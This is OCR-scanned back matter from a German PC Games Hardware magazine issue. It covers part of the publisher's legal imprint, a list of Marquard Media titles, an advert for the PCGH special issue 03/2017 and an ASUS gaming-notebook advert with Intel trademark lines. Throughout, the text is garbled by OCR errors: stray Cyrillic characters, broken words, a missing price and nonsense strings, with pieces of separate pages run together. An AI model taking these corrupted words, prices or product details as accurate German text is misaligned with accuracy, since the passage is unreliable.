Produkte und Service-Leistungen durch COMPUTEC MEDIA voraus. Sollten Sie Beschwerden zu einem unserer Anzeigenkunden, 
seinen Produkten oder Dienstleistungen haben, móchten wir Sie bitten, uns dies schriftlich mitzuteilen. Schreiben Sie unter Angabe des 
Magazins, in dem die Anzeige erschienen ist, inkl. der Ausgabe und der Seitennummer an: CMS Media Services GmbH, Franziska Behme, 
Anschrift siehe oben. 


Einsendungen Manuskripte und Programme: 
Mit der Einsendung von Manuskripten jeder Art gibt der Verfasser die Zustimmung zur Veröffentlichung in den von der Verlagsgruppe 
herausgegebenen Publikationen. Urheberrecht: Alle in PCGH veróffentlichten Beitráge bzw. Datentráger sind urheberrechtlich geschützt. 
Jegliche Reproduktion oder Nutzung bedarf der vorherigen, ausdrücklichen und schriftlichen Genehmigung des Verlags. 


AIT 


MARQUARD MEDIA 


Deutschsprachige Titel: 
PC GAMES, PC GAMES HARDWARE, PC GAMES MMORE, PLAY 4, N-ZONE, 
GAMES AKTUELL, XBG GAMES, SFT, LINUX-MAGAZIN, LINUXUSER, EASY LINUX, 
RASPBERRY PI GEEK, WIDESCREEN, MAKING GAMES 


Polen: 
COSMOPOLITAN, HARPER'S BAZAAR, JOY, HOT MODA, SHAPE, ESQUIRE, 
PLAYBOY, CKM, JAMI 
А Ungarn: 
JOY, EVA, INSTYLE, SHAPE, MEN'S HEALTH, RUNNER'S WORLD, PLAYBOY, APA 


JETZT NEU Б. 


PCGH-Sonderheft 03/2017 
jetzt am Kiosk für nur € a R 
Im Webshop erhalten Abonnente 


kostenfrei. 
ft sogar versand | 
pem Is pigitalversion 


Erhältlich auch a ! : 
PDF oder App) für nur € 4,99. 
| pcgh.de/sohe ONDERHEFT | 
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Типеп, neu bauen TIPPS 


Z Tuning 
für CPUs 
Grafikkarten 
& Monitore 


Plus: 


Ashampoo HDD Control 
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De. Auch erhältlich als ePaper bei: 


Jetzt am Kiosk erhältlich oder einfach 
online bestellen unter: www.pcgh.de/sohe 


Presse Katalog 
Online-Kios! 
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DAS NEUE RUL 6 ZU. 
mit Intel® Core™ i7 Prozessor. 


KHMPFERHERTZ 


Da eltweit erste Notebook mit 144 Hz Display 


Ruckelfreies Gaming 


М \ I ıPU/RAM-DODv 
“әј Maximale Performance 
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= Verlängerte Lebensdauer 
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$ 4 Einzigartige Konnektivität 
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j /AMedia$;Markt 
NATE amazonde gem 
n:0tebook.de ®notebooksbilliger.de X ,SATURN 


ГЕД панни 


Intel Inside®. Herausragende Leistung Outside. 


- Intel, das Intel Logo, Intel Inside, Intel Core und Core Inside sind Marken der Intel 
asus.de ——— ,,oƏƏnO2aDa£ÚmeB. Ə.L Corporation oder ihrer Tochtergesellschaften in den USA und/oder anderen Làndern. 


